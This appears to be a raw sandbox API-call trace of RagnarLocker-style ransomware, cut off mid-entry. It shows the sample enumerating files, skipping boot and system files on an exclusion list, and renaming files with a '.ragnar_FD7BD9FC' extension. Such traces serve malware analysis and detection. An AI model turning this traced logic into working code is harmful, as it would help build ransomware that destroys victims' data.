CloseHandle (hObject=0xffffffff) returned 0 [0079.220] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\1047x576black.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\1047x576black.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\1047x576black.png" [0079.220] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\1047x576black.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\1047x576black.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\1047x576black.png.ragnar_FD7BD9FC" [0079.220] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\1047x576black.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\1047x576black.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\1047x576black.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.220] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70a4b8b3, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70a4b8b3, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb04, dwReserved0=0x0, dwReserved1=0x0, cFileName="203x8subpicture.png", cAlternateFileName="")) returned 1 [0079.220] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x42 [0079.220] lstrcpyW (in: lpString1=0x1eab66, lpString2="203x8subpicture.png" | out: lpString1="203x8subpicture.png") returned="203x8subpicture.png" [0079.220] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\203x8subpicture.png") returned=".png" [0079.220] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0079.220] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="autorun.inf") returned -1 [0079.220] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="boot.ini") returned -1 [0079.220] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="bootfont.bin") returned -1 [0079.220] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="bootsect.bak") returned -1 [0079.220] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="bootmgr") returned -1 [0079.220] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="bootmgr.efi") returned -1 [0079.220] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="bootmgfw.efi") returned -1 [0079.220] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="desktop.ini") returned -1 [0079.220] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="iconcache.db") returned -1 [0079.220] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="ntldr") returned -1 [0079.220] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="ntuser.dat") returned -1 [0079.220] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="ntuser.dat.log") returned -1 [0079.220] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="ntuser.ini") returned -1 [0079.220] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="thumbs.db") returned -1 [0079.220] lstrcmpiW (lpString1=".png", lpString2=".db") returned 1 [0079.220] lstrcmpiW (lpString1=".png", lpString2=".sys") returned -1 [0079.221] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0079.221] lstrcmpiW (lpString1=".png", lpString2=".lnk") returned 1 [0079.221] lstrcmpiW (lpString1=".png", lpString2=".msi") returned 1 [0079.221] lstrcmpiW (lpString1=".png", lpString2=".drv") returned 1 [0079.221] lstrcmpiW (lpString1=".png", lpString2=".exe") returned 1 [0079.221] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\203x8subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\203x8subpicture.png")) returned 0x20 [0079.221] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\203x8subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\203x8subpicture.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.221] CloseHandle (hObject=0xffffffff) returned 0 [0079.221] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\203x8subpicture.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\203x8subpicture.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\203x8subpicture.png" [0079.221] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\203x8subpicture.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\203x8subpicture.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\203x8subpicture.png.ragnar_FD7BD9FC" [0079.221] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\203x8subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\203x8subpicture.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\203x8subpicture.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\203x8subpicture.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.221] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7079e029, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7079e029, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5aaf, dwReserved0=0x0, dwReserved1=0x0, cFileName="bandwidth.png", cAlternateFileName="")) returned 1 [0079.221] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x42 [0079.221] lstrcpyW (in: lpString1=0x1eab66, lpString2="bandwidth.png" | out: lpString1="bandwidth.png") returned="bandwidth.png" [0079.221] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\bandwidth.png") returned=".png" [0079.221] lstrcmpiW (lpString1="bandwidth.png", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0079.221] lstrcmpiW (lpString1="bandwidth.png", lpString2="autorun.inf") returned 1 [0079.221] lstrcmpiW (lpString1="bandwidth.png", lpString2="boot.ini") returned -1 [0079.221] lstrcmpiW (lpString1="bandwidth.png", lpString2="bootfont.bin") returned -1 [0079.221] lstrcmpiW (lpString1="bandwidth.png", lpString2="bootsect.bak") returned -1 [0079.221] lstrcmpiW (lpString1="bandwidth.png", lpString2="bootmgr") returned -1 [0079.222] lstrcmpiW (lpString1="bandwidth.png", lpString2="bootmgr.efi") returned -1 [0079.222] lstrcmpiW (lpString1="bandwidth.png", lpString2="bootmgfw.efi") returned -1 [0079.222] lstrcmpiW (lpString1="bandwidth.png", lpString2="desktop.ini") returned -1 [0079.222] lstrcmpiW (lpString1="bandwidth.png", lpString2="iconcache.db") returned -1 [0079.222] lstrcmpiW (lpString1="bandwidth.png", lpString2="ntldr") returned -1 [0079.222] lstrcmpiW (lpString1="bandwidth.png", lpString2="ntuser.dat") returned -1 [0079.222] lstrcmpiW (lpString1="bandwidth.png", lpString2="ntuser.dat.log") returned -1 [0079.222] lstrcmpiW (lpString1="bandwidth.png", lpString2="ntuser.ini") returned -1 [0079.222] lstrcmpiW (lpString1="bandwidth.png", lpString2="thumbs.db") returned -1 [0079.222] lstrcmpiW (lpString1=".png", lpString2=".db") returned 1 [0079.222] lstrcmpiW (lpString1=".png", lpString2=".sys") returned -1 [0079.222] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0079.222] lstrcmpiW (lpString1=".png", lpString2=".lnk") returned 1 [0079.222] lstrcmpiW (lpString1=".png", lpString2=".msi") returned 1 [0079.222] lstrcmpiW (lpString1=".png", lpString2=".drv") returned 1 [0079.222] lstrcmpiW (lpString1=".png", lpString2=".exe") returned 1 [0079.222] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\bandwidth.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\bandwidth.png")) returned 0x20 [0079.225] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\bandwidth.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\bandwidth.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.225] CloseHandle (hObject=0xffffffff) returned 0 [0079.225] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\bandwidth.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\bandwidth.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\bandwidth.png" [0079.225] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\bandwidth.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\bandwidth.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\bandwidth.png.ragnar_FD7BD9FC" [0079.225] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\bandwidth.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\bandwidth.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\bandwidth.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\bandwidth.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.225] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70a25756, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70a25756, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x191f, dwReserved0=0x0, dwReserved1=0x0, cFileName="blackbars80.png", cAlternateFileName="")) returned 1 [0079.225] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x42 [0079.225] lstrcpyW (in: lpString1=0x1eab66, lpString2="blackbars80.png" | out: lpString1="blackbars80.png") returned="blackbars80.png" [0079.225] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\blackbars80.png") returned=".png" [0079.225] lstrcmpiW (lpString1="blackbars80.png", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0079.225] lstrcmpiW (lpString1="blackbars80.png", lpString2="autorun.inf") returned 1 [0079.225] lstrcmpiW (lpString1="blackbars80.png", lpString2="boot.ini") returned -1 [0079.225] lstrcmpiW (lpString1="blackbars80.png", lpString2="bootfont.bin") returned -1 [0079.225] lstrcmpiW (lpString1="blackbars80.png", lpString2="bootsect.bak") returned -1 [0079.225] lstrcmpiW (lpString1="blackbars80.png", lpString2="bootmgr") returned -1 [0079.226] lstrcmpiW (lpString1="blackbars80.png", lpString2="bootmgr.efi") returned -1 [0079.226] lstrcmpiW (lpString1="blackbars80.png", lpString2="bootmgfw.efi") returned -1 [0079.226] lstrcmpiW (lpString1="blackbars80.png", lpString2="desktop.ini") returned -1 [0079.226] lstrcmpiW (lpString1="blackbars80.png", lpString2="iconcache.db") returned -1 [0079.226] lstrcmpiW (lpString1="blackbars80.png", lpString2="ntldr") returned -1 [0079.226] lstrcmpiW (lpString1="blackbars80.png", lpString2="ntuser.dat") returned -1 [0079.226] lstrcmpiW (lpString1="blackbars80.png", lpString2="ntuser.dat.log") returned -1 [0079.226] lstrcmpiW (lpString1="blackbars80.png", lpString2="ntuser.ini") returned -1 [0079.226] lstrcmpiW (lpString1="blackbars80.png", lpString2="thumbs.db") returned -1 [0079.226] lstrcmpiW (lpString1=".png", lpString2=".db") returned 1 [0079.226] lstrcmpiW (lpString1=".png", lpString2=".sys") returned -1 [0079.226] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0079.226] lstrcmpiW (lpString1=".png", lpString2=".lnk") returned 1 [0079.226] lstrcmpiW (lpString1=".png", lpString2=".msi") returned 1 [0079.226] lstrcmpiW (lpString1=".png", lpString2=".drv") returned 1 [0079.226] lstrcmpiW (lpString1=".png", lpString2=".exe") returned 1 [0079.226] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\blackbars80.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\blackbars80.png")) returned 0x20 [0079.226] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\blackbars80.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\blackbars80.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.226] CloseHandle (hObject=0xffffffff) returned 0 [0079.226] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\blackbars80.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\blackbars80.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\blackbars80.png" [0079.226] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\blackbars80.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\blackbars80.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\blackbars80.png.ragnar_FD7BD9FC" [0079.226] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\blackbars80.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\blackbars80.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\blackbars80.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\blackbars80.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.226] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x708ceb11, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x708ceb11, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0079.227] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x42 [0079.227] lstrcpyW (in: lpString1=0x1eab66, lpString2="NavigationLeft_ButtonGraphic.png" | out: lpString1="NavigationLeft_ButtonGraphic.png") returned="NavigationLeft_ButtonGraphic.png" [0079.227] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationLeft_ButtonGraphic.png") returned=".png" [0079.227] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0079.227] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="autorun.inf") returned 1 [0079.227] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="boot.ini") returned 1 [0079.227] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="bootfont.bin") returned 1 [0079.227] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="bootsect.bak") returned 1 [0079.227] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="bootmgr") returned 1 [0079.227] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="bootmgr.efi") returned 1 [0079.227] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="bootmgfw.efi") returned 1 [0079.227] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="desktop.ini") returned 1 [0079.227] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="iconcache.db") returned 1 [0079.227] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="ntldr") returned -1 [0079.227] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="ntuser.dat") returned -1 [0079.227] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="ntuser.dat.log") returned -1 [0079.227] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="ntuser.ini") returned -1 [0079.227] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="thumbs.db") returned -1 [0079.227] lstrcmpiW (lpString1=".png", lpString2=".db") returned 1 [0079.227] lstrcmpiW (lpString1=".png", lpString2=".sys") returned -1 [0079.227] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0079.227] lstrcmpiW (lpString1=".png", lpString2=".lnk") returned 1 [0079.227] lstrcmpiW (lpString1=".png", lpString2=".msi") returned 1 [0079.227] lstrcmpiW (lpString1=".png", lpString2=".drv") returned 1 [0079.227] lstrcmpiW (lpString1=".png", lpString2=".exe") returned 1 [0079.227] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationleft_buttongraphic.png")) returned 0x20 [0079.227] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationleft_buttongraphic.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.228] CloseHandle (hObject=0xffffffff) returned 0 [0079.228] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationLeft_ButtonGraphic.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationLeft_ButtonGraphic.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationLeft_ButtonGraphic.png" [0079.228] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationLeft_ButtonGraphic.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationLeft_ButtonGraphic.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationLeft_ButtonGraphic.png.ragnar_FD7BD9FC" [0079.228] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationleft_buttongraphic.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationLeft_ButtonGraphic.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationleft_buttongraphic.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.228] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70810440, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70810440, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0079.228] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x42 [0079.228] lstrcpyW (in: lpString1=0x1eab66, lpString2="NavigationLeft_SelectionSubpicture.png" | out: lpString1="NavigationLeft_SelectionSubpicture.png") returned="NavigationLeft_SelectionSubpicture.png" [0079.228] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationLeft_SelectionSubpicture.png") returned=".png" [0079.228] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0079.228] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="autorun.inf") returned 1 [0079.228] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="boot.ini") returned 1 [0079.228] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="bootfont.bin") returned 1 [0079.228] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="bootsect.bak") returned 1 [0079.228] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="bootmgr") returned 1 [0079.228] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="bootmgr.efi") returned 1 [0079.228] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="bootmgfw.efi") returned 1 [0079.228] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="desktop.ini") returned 1 [0079.228] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="iconcache.db") returned 1 [0079.228] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="ntldr") returned -1 [0079.228] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="ntuser.dat") returned -1 [0079.228] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="ntuser.dat.log") returned -1 [0079.228] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="ntuser.ini") returned -1 [0079.228] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="thumbs.db") returned -1 [0079.228] lstrcmpiW (lpString1=".png", lpString2=".db") returned 1 [0079.228] lstrcmpiW (lpString1=".png", lpString2=".sys") returned -1 [0079.228] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0079.228] lstrcmpiW (lpString1=".png", lpString2=".lnk") returned 1 [0079.229] lstrcmpiW (lpString1=".png", lpString2=".msi") returned 1 [0079.229] lstrcmpiW (lpString1=".png", lpString2=".drv") returned 1 [0079.229] lstrcmpiW (lpString1=".png", lpString2=".exe") returned 1 [0079.229] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationleft_selectionsubpicture.png")) returned 0x20 [0079.229] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.229] CloseHandle (hObject=0xffffffff) returned 0 [0079.229] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationLeft_SelectionSubpicture.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationLeft_SelectionSubpicture.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationLeft_SelectionSubpicture.png" [0079.229] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationLeft_SelectionSubpicture.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationLeft_SelectionSubpicture.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationLeft_SelectionSubpicture.png.ragnar_FD7BD9FC" [0079.229] MoveFileExW 